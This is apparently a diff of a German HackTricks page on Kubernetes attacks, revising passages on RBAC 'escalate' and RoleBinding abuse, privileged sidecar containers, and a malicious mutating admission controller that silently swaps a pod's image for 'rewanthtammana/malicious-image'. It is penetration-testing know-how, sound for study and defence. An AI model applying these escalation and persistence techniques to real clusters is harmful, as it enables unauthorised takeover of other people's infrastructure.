> Es gibt eine Ausnahme von der vorherigen Regel. Wenn ein Principal das **Verb `escalate`** über **`roles`** oder **`clusterroles`** hat, kann er die Berechtigungen von Rollen und Clusterrollen erhöhen, auch ohne selbst die Berechtigungen zu haben.
|
||||
> Es gibt eine Ausnahme von der vorherigen Regel. Wenn ein Principal das **Verb `escalate`** über **`roles`** oder **`clusterroles`** hat, kann er die Berechtigungen von Rollen und ClusterRoles erhöhen, auch wenn er die Berechtigungen selbst nicht hat.
|
||||
|
||||
### **Get & Patch RoleBindings/ClusterRoleBindings**
|
||||
|
||||
> [!CAUTION]
|
||||
> **Offensichtlich hat diese Technik früher funktioniert, aber laut meinen Tests funktioniert sie aus dem gleichen Grund, der im vorherigen Abschnitt erklärt wurde, nicht mehr. Du kannst kein Rolebinding erstellen/modifizieren, um dir selbst oder einem anderen SA einige Berechtigungen zu geben, wenn du sie nicht bereits hast.**
|
||||
> **Offensichtlich hat diese Technik früher funktioniert, aber laut meinen Tests funktioniert sie aus dem gleichen Grund wie im vorherigen Abschnitt nicht mehr. Du kannst kein RoleBinding erstellen/modifizieren, um dir selbst oder einem anderen SA einige Berechtigungen zu geben, wenn du sie nicht bereits hast.**
|
||||
|
||||
Das Privileg, Rolebindings zu erstellen, ermöglicht es einem Benutzer, **Rollen an ein Servicekonto zu binden**. Dieses Privileg kann potenziell zu einer Privilegieneskalation führen, da es **dem Benutzer erlaubt, Administratorberechtigungen an ein kompromittiertes Servicekonto zu binden.**
|
||||
Das Privileg, RoleBindings zu erstellen, ermöglicht es einem Benutzer, **Rollen an ein Service-Konto zu binden**. Dieses Privileg kann potenziell zu einer Privilegieneskalation führen, da es **dem Benutzer erlaubt, Administratorberechtigungen an ein kompromittiertes Service-Konto zu binden.**
|
||||
|
||||
## Andere Angriffe
|
||||
|
||||
@@ -561,55 +614,29 @@ Das Privileg, Rolebindings zu erstellen, ermöglicht es einem Benutzer, **Rollen
|
||||
|
||||
Standardmäßig gibt es keine Verschlüsselung in der Kommunikation zwischen Pods. Gegenseitige Authentifizierung, bidirektional, Pod zu Pod.
|
||||
|
||||
#### Erstelle eine Sidecar-Proxy-App <a href="#create-a-sidecar-proxy-app" id="create-a-sidecar-proxy-app"></a>
|
||||
#### Erstelle eine Sidecar-Proxy-App
|
||||
|
||||
Erstelle deine .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
Bearbeiten Sie Ihre .yaml und fügen Sie die auskommentierten Zeilen hinzu:
|
||||
Ein Sidecar-Container besteht einfach darin, einen **zweiten (oder mehr) Container innerhalb eines Pods** hinzuzufügen.
|
||||
|
||||
Zum Beispiel ist das Folgende Teil der Konfiguration eines Pods mit 2 Containern:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
#metadata:
|
||||
# name: security-context-demo
|
||||
#spec:
|
||||
# securityContext:
|
||||
# runAsUser: 1000
|
||||
# runAsGroup: 3000
|
||||
# fsGroup: 2000
|
||||
# volumes:
|
||||
# - name: sec-ctx-vol
|
||||
# emptyDir: {}
|
||||
# containers:
|
||||
# - name: sec-ctx-demo
|
||||
# image: busybox
|
||||
command:
|
||||
[
|
||||
"sh",
|
||||
"-c",
|
||||
"apt update && apt install iptables -y && iptables -L && sleep 1h",
|
||||
]
|
||||
securityContext:
|
||||
capabilities:
|
||||
add: ["NET_ADMIN"]
|
||||
# volumeMounts:
|
||||
# - name: sec-ctx-vol
|
||||
# mountPath: /data/demo
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
spec:
|
||||
containers:
|
||||
- name: main-application
|
||||
image: nginx
|
||||
- name: sidecar-container
|
||||
image: busybox
|
||||
command: ["sh","-c","<execute something in the same pod but different container>"]
|
||||
```
|
||||
Siehe die Protokolle des Proxys:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
```
|
||||
Mehr Informationen unter: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
Um beispielsweise ein bestehendes Pod mit einem neuen Container zu hinterlegen, könnten Sie einfach einen neuen Container in der Spezifikation hinzufügen. Beachten Sie, dass Sie dem zweiten Container **mehr Berechtigungen** geben könnten, die der erste nicht hat.
|
||||
|
||||
Weitere Informationen unter: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
|
||||
|
||||
### Bösartiger Admission Controller
|
||||
|
||||
Ein Admission Controller **unterbricht Anfragen an den Kubernetes API-Server** vor der Persistenz des Objekts, aber **nachdem die Anfrage authentifiziert** **und autorisiert** wurde.
|
||||
Ein Admission Controller **unterbricht Anfragen an den Kubernetes API-Server**, bevor das Objekt persistent wird, aber **nachdem die Anfrage authentifiziert** **und autorisiert** wurde.
|
||||
|
||||
Wenn es einem Angreifer gelingt, einen **Mutationg Admission Controller** zu **injizieren**, kann er **bereits authentifizierte Anfragen modifizieren**. Dies ermöglicht potenziell Privilegieneskalation und in der Regel auch Persistenz im Cluster.
|
||||
Wenn es einem Angreifer gelingt, einen **Mutation Admission Controller** zu **injizieren**, kann er **bereits authentifizierte Anfragen modifizieren**. Dies könnte potenziell zu Privilegieneskalation führen und in der Regel im Cluster persistieren.
|
||||
|
||||
**Beispiel von** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -639,9 +666,9 @@ kubectl describe po nginx | grep "Image: "
|
||||
|
||||
Wie Sie im obigen Bild sehen können, haben wir versucht, das Image `nginx` auszuführen, aber das letztendlich ausgeführte Image ist `rewanthtammana/malicious-image`. Was ist gerade passiert!!?
|
||||
|
||||
#### Technicalities <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
#### Technische Details
|
||||
|
||||
Das Skript `./deploy.sh` richtet einen mutierenden Webhook-Zugangscontroller ein, der Anfragen an die Kubernetes-API gemäß den in seinen Konfigurationszeilen angegebenen Vorgaben modifiziert und die beobachteten Ergebnisse beeinflusst:
|
||||
Das Skript `./deploy.sh` richtet einen mutierenden Webhook-Zugangscontroller ein, der Anfragen an die Kubernetes-API gemäß den in den Konfigurationszeilen angegebenen Vorgaben ändert und die beobachteten Ergebnisse beeinflusst:
|
||||
```
|
||||
patches = append(patches, patchOperation{
|
||||
Op: "replace",
|
||||
@@ -691,5 +718,7 @@ https://github.com/aquasecurity/kube-bench
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
|
||||
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
|
||||
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
|
||||
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
|
||||
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user